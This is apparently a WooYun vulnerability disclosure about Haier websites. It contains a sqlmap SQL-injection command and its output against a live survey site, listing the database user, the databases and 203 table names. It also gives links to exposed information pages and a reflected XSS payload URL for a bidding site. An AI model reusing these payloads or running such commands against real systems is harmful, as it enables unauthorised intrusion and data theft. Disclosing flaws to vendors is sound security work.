WooYun.org

站点1：SQL注射
s.haier.com E互动调研平台 2013年刚出来的网站
taskid参数没有过滤，导致注射漏洞
sqlmap跑起来
sqlmap.py -u "http://s.haier.com/haierproject/fankui/style-ajax-get.php" --data "taskId=6" --dbs --current-user --current-db
[root@Hacker~]# Sqlmap sqlmap.py -u "http://s.haier.com/haierproject/fankui/styl
e-ajax-get.php" --data "taskId=6" --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:32:02
[16:32:03] [INFO] resuming back-end DBMS 'mysql'
[16:32:03] [INFO] testing connection to the target url
[16:32:13] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: taskId
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: taskId=6 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a6e6b6f3a,0x4573796b5
07877617746,0x3a77696b3a), NULL, NULL, NULL#
---
[16:32:13] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.10, PHP 5.2.8
back-end DBMS: MySQL 5
[16:32:13] [INFO] fetching current user
current user: 'survey@%'
[16:32:13] [INFO] fetching current database
current database: 'newsurvey'
available databases [9]:
[*] chat
[*] drupal2
[*] haiermroc
[*] haiersurvey
[*] idm
[*] information_schema
[*] mysql
[*] newsurvey
[*] test
当前库有203张表
Database: newsurvey
[203 tables]
+------------------------------+
| fc_bans |
| fc_bot |
| fc_bots |
| fc_config |
| fc_config_chats |
| fc_config_instances |
| fc_config_main |
| fc_config_values |
| fc_connections |
| fc_conversationlog |
| fc_dstore |
| fc_gmcache |
| fc_gossip |
| fc_ignors |
| fc_messages |
| fc_patterns |
| fc_paypal_log |
| fc_rooms |
| fc_templates |
| fc_thatindex |
| fc_thatstack |
| fc_users |
| jir_accessapily |
| jir_accesslogs |
| jir_accountsurvey |
| jir_activities |
| jir_activitytable |
| jir_addressbook |
| jir_advertise |
| jir_aggregates |
| jir_alliances |
| jir_annex |
| jir_answerip |
| jir_attachs |
| jir_blacklist |
| jir_blackwords |
| jir_busactive |
| jir_businesssurveys |
| jir_cartype |
| jir_citylevel |
| jir_config_param |
| jir_database |
| jir_dataprivileges |
| jir_dialogue |
| jir_discus_app |
| jir_discus_forms |
| jir_discus_reply |
| jir_district |
| jir_dyproperty |
| jir_email_phone |
| jir_filterquestionindex |
| jir_fk_embedded |
| jir_forum |
| jir_fourth_indicator_score |
| jir_fourthindicators |
| jir_freeze |
| jir_freply |
| jir_goldcoin |
| jir_groups |
| jir_guest_schedule |
| jir_haiersurvey |
| jir_indicator_score |
| jir_indicators |
| jir_integraldetails |
| jir_invertmember |
| jir_item |
| jir_item_operate_data |
| jir_item_tuser |
| jir_joinsurveystatus |
| jir_log |
| jir_logoutuser |
| jir_mac |
| jir_media |
| jir_mediadiv |
| jir_mediamould |
| jir_medianame |
| jir_medianode |
| jir_mediaresult |
| jir_message_board |
| jir_messages |
| jir_mobile_business |
| jir_mobileanswer |
| jir_modelnorm |
| jir_object_types |
| jir_objects |
| jir_observed |
| jir_observed_comment |
| jir_offlinedata |
| jir_operation |
| jir_orders |
| jir_otherservices |
| jir_paidalipay |
| jir_parameters |
| jir_permissions |
| jir_personactive |
| jir_pnmodel |
| jir_privileged_users |
| jir_privilegeopid |
| jir_privileges |
| jir_process |
| jir_project_info |
| jir_projectcontent |
| jir_projectprivilege |
| jir_psychological |
| jir_psychological_scores |
| jir_psychological_tests |
| jir_public_sample_lib |
| jir_publishaward |
| jir_quality_control |
| jir_quota |
| jir_quota_model |
| jir_quota_new |
| jir_recharge |
| jir_recharge_type |
| jir_recommendmembers |
| jir_recommendusers |
| jir_recordope |
| jir_release |
| jir_report_prepare |
| jir_report_prepare_detail |
| jir_reputation_degree_detail |
| jir_reputioninfo |
| jir_response_not_r |
| jir_responsequality |
| jir_result |
| jir_review |
| jir_role |
| jir_roleoperation |
| jir_saas |
| jir_saas_icon |
| jir_saas_survey |
| jir_saasadmin |
| jir_sad_value |
| jir_sample |
| jir_sample_car |
| jir_sample_conditions |
| jir_sample_financy |
| jir_sample_house |
| jir_sample_mapping |
| jir_sample_motherhood |
| jir_sampleinfo |
| jir_samplemobile |
| jir_samplemuetxanswer |
| jir_sampleservices |
| jir_search_seq |
| jir_sec_reply |
| jir_send_mroc |
| jir_sendemail |
| jir_sendtd8 |
| jir_statistics_on |
| jir_subjects |
| jir_survey_grouprand |
| jir_survey_properties |
| jir_survey_sent |
| jir_survey_upgrade |
| jir_surveyanswers |
| jir_surveycollections |
| jir_surveycount |
| jir_surveynode |
| jir_surveyrandom |
| jir_surveyreport |
| jir_surveyresponses |
| jir_sysuser |
| jir_tauthority |
| jir_tbaccessfail |
| jir_tbblackuser |
| jir_tbdistinguish |
| jir_td8unionsurvey |
| jir_td8unionsurveyuser |
| jir_temporary |
| jir_theme_model |
| jir_thirdindicators |
| jir_tmbody |
| jir_tproduct |
| jir_trole |
| jir_trole_authority |
| jir_union |
| jir_unionanswers |
| jir_unionregister |
| jir_unionweb |
| jir_upgrade_remind |
| jir_upresult |
| jir_usecount |
| jir_user |
| jir_user_testpl |
| jir_userinfo |
| jir_usersample |
| jir_validate_phone |
| jir_version |
| jir_video |
| jir_webpayorder |
| jir_wkmonitor |
| mail_delivertask |
| mail_owner |
| mail_sendlist |
| mroc_release |
| mroccoredb |
| phonelist |
| t_demands |
| t_department |
| t_idm_user |
| t_operationdepartment |
| users |
+------------------------------+
--------------------------------我是分割线--------------------------
站点2：信息泄露，各种内外网登录地址及链接
http://www.hefeihaier.com:50080/ 合肥海尔工贸有限公司

------------------------------我是分割线---------------------------
站点三：PHP信息泄露
海尔在线客服网站
http://online.haier.com/5107/chat/info.php

站点四：反射xss、信息泄露
http://www.haierbid.com 海尔招标网
网站统计分析系统：
http://www.haierbid.com/count/Infolist.asp

网页有多处xss，请厂商检查页面的每个参数
http://www.haierbid.com/count/StatDay.asp?QDay=2006-1-3%3CScRiPt%20%3Eprompt%28964371%29%3C/ScRiPt%3E

over